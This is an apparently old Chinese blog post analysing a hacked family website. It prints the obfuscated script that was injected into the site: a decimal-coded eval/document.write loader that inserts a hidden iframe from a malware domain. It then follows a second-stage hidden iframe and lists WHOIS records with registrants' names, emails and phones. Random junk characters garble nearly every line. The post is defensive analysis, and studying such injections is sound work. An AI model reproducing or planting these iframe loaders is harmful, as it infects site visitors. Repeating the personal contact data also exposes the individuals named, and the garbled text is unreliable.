首发在我的博客里面，
_ k-_&PR QFh1sb)]d) http://www.areway.cn/?p=175 O*yxOb* M5xJ_yjG Qm%F]nyy 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
`- NK:;^ `:/'")+@v <script>t=’60,105,102,114,97,109,101,
!Sq<_TO 32,115,114,99,61,104,116,116,112,58,47,47,
P
rt}
01$ 102,114,101,101,46,117,45,117,117,117,46,99,
Sb.8d]DW 110,47,101,114,114,111,114,46,104,116,109,
:t?B) 32,119,105,100,116,104,61,49,48,48,32,104,
= :W2NN' 101,105,103,104,116,61,48,62,60,47,105,102,
sFU< Pg V 114,97,109,101,62′;
=TB_|`5;j t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
[^H2'& ] xn8K OwX% <script>t=’60,105,102,114,97,109,101,32,115,
jU,Xlgz(A 114,99,61,104,116,116,112,58,47,47,102,114,
j!;LN)s@? 101,101,46,117,45,117,117,117,46,99,110,47,
W{p}N 101,114,114,111,114,46,104,116,109,32,119,
L i JYyp 105,100,116,104,61,49,48,48,32,104,101,105,
37AVk`a 103,104,116,61,48,62,60,47,105,102,114,97,
5>532X(0 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
9+.wj/75 document.write(t);</script>
nhI+xqfn P<<$ o-a" <html xmlns=”
#h5:b`fDF http://www.w3.org/1999/xhtml A|A~$v("R “>
H DVimoOq <head>
bMH~vR <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
{@Wv@H+4 <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
%idBR7?`g <title>首页 - 爱生活家庭网
7Q
3!= b 5=>1>HYM 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
6W1GvM\e 转换字符串后的大概内容是（谁点击后果自付）：
dBWn y& <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
b
F=M Q s.3"2waZ=T 查询玉米u-uuu.cn的详细信息：
] 5Cr$%H= Domain Name: u-uuu.cn
, 5DJ54B! ROID: 20070901s10001s64972306-cn
b|#=kPVgL} Domain Status: ok
]TV_ p[L0B Registrant Organization: 王雷
'C+cQLig@ Registrant Name: 王雷
sEhvx +( Administrative Email:
czlovexs@126.com
c{#2;k
Q, Sponsoring Registrar: 北京万网志成科技有限公司
/qpSmRL Name Server:ns.yovole.com
h$S#fY8 Name Server:ns1.yovole.com
=bKDD <( Registration Date: 2007-09-01 17:54
R|; BO:S1 Expiration Date: 2008-09-01 17:54
1#vy# ' 最后PING了一下地址 都没有什么….
}$6L]
0 b& # w 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
! pU$'1D <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
fI.|QD*$b <script language=”javascript” src=”
Y2|i> 5/|< http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script $H:!3 -/ >
S zo'[/
[R 这个玉米应该有可能是木马作者的：
2a d|v] foafau.info的详细信息：
2D\ pt Access to INFO WHOIS information is provided to assist persons in
LIg1U determining the contents of a domain name registration record in the
U)} ]Z@I- Afilias registry database. The data in this record is provided by
)&Ii! tm3 Afilias Limited for informational purposes only, and Afilias does not
w OL,L U guarantee its accuracy. This service is intended only for query-based
'|}A /` access. You agree that you will use this data only for lawful purposes
Koa9W >! and that, under no circumstances will you use this data to: (a) allow,
)e(<YST enable, or otherwise support the transmission by e-mail, telephone, or
A;AQw facsimile of mass unsolicited, commercial advertising or solicitations
i'Y 8-}) to entities other than the data recipient’s own existing customers; or
=NB[jQ :( (b) enable high volume, automated, electronic processes that send
aNbS0R>l queries or data to the systems of Registry Operator, a Registrar, or
ly0R'4j \ Afilias except as reasonably necessary to register domain names or
]jT}]9Q$ modify existing registrations. All rights reserved. Afilias reserves
$ 4bc! the right to modify these terms at any time. By submitting this query,
InP E_ you agree to abide by this policy.
>?g@ Nt8 Domain ID:D22418703-LRMS
j^G=9r[, Domain Name:FOAFAU.INFO
&/@V$'G= Created On:20-Nov-2007 16:05:42 UTC
[ATJ!
O Last Updated On:20-Nov-2007 16:05:44 UTC
B,b8\\^k| Expiration Date:20-Nov-2008 16:05:42 UTC
"Eh=@?]S_ Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
ax@H^Gj@2 Status:CLIENT DELETE PROHIBITED
mhbczVw Status:CLIENT RENEW PROHIBITED
>oh Cz@~ Status:CLIENT TRANSFER PROHIBITED
41
F;X{Br Status:CLIENT UPDATE PROHIBITED
y
oW ~ Status:TRANSFER PROHIBITED
.?}M(mL Registrant ID:GODA-040110615
x&B&lFmo 8 Registrant Name:liu hong
}#z1>y!# Registrant Organization:
?v^NimcZ Registrant Street1:beijing
$6"sR I6u Registrant Street2:
_p$/.~Xo9 Registrant Street3:
jAJ='|[X\ Registrant City:beijing
c ILS Registrant State/Province:
mK:gj&N7X| Registrant Postal Code:100000
^PG" Registrant Country:CN
:{ u`qi Registrant Phone:+86.860108888777
|q`NJ Registrant Phone Ext.:
VL%. maj Registrant FAX:
=<]`'15"V Registrant FAX Ext.:
&V4Zm n?UU Registrant Email:bbbshiji@163.com
~yv7[`+Tgg Admin ID:GODA-240110615
i)#-VOhX) Admin Name:liu hong
v h,(]t Admin Organization:
b.*LmSX# Admin Street1:beijing
c 4z&HQd Admin Street2:
%H{pU:[5 * Admin Street3:
r r# nBhh8 Admin City:beijing
"vGh/sXW Admin State/Province:
, Ckc c Admin Postal Code:100000
o.Kn DY Admin Country:CN
#X Q/y} ( Admin Phone:+86.860108888777
gL<n?FG4b Admin Phone Ext.:
M}]
*j Admin FAX:
Ow 0>qzTg Admin FAX Ext.:
Yp\n= #$[ Admin Email:bbbshiji@163.com
'Lg RdtO6 Billing ID:GODA-340110615
$6Ma{r C| Billing Name:liu hong
qbyYNlXqm Billing Organization:
<4rnOQ: Billing Street1:beijing
p)biOG Billing Street2:
{ -A|f Billing Street3:
l!ow\ZuQBF Billing City:beijing
BN*:*cmUl Billing State/Province:
[f+wP|NKL Billing Postal Code:100000
&'6/H/J Billing Country:CN
H Z3;2k Billing Phone:+86.860108888777
[>ghs_?dZ Billing Phone Ext.:
77\+V 0cF Billing FAX:
u\ LNJo| B Billing FAX Ext.:
%q5dV<X'c Billing Email:bbbshiji@163.com
[,;Y5#Y[5 Tech ID:GODA-140110615
T Q41i/{ Tech Name:liu hong
.7Mf( 1 : Tech Organization:
Q/o,2R Tech Street1:beijing
|>Q>d8|k Tech Street2:
]zx%"SUM Tech Street3:
h@RpS8!Bi Tech City:beijing
^ITF* Tech State/Province:
Sk{skvd; Tech Postal Code:100000
bPVk5G*ruP Tech Country:CN
461g7R%r Tech Phone:+86.860108888777
8 063LWV Tech Phone Ext.:
SkuR~ ! Tech FAX:
b<FE
Tech FAX Ext.:
('x]@ Tech Email:bbbshiji@163.com
s|%R Name Server:NS27.DOMAINCONTROL.COM
x3n9 |Uud Name Server:NS28.DOMAINCONTROL.COM
"B'c;0 @q Name Server:
> 0HH#JW Name Server:
WK|5:V8E Name Server:
oAO{4xP Name Server:
XG|N$~N+ 2 Name Server:
V]| X
,G Name Server:
[8T{=+k Name Server:
Y`~B > J Name Server:
l'I:0a
4T Name Server:
@c^ Dl Name Server:
(dlp5:lQz
Name Server:
=p+n(C/ W&5/1``u\ 接着下载每个文件里面的代码：
_X#R v2a 一步一步看..
L[<#>/NPy 
;6/WjUDw<| 
m>=DJ{KQ 
SKC ;@? 
DS?.'"n[u 
Pn!~U] A$% 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
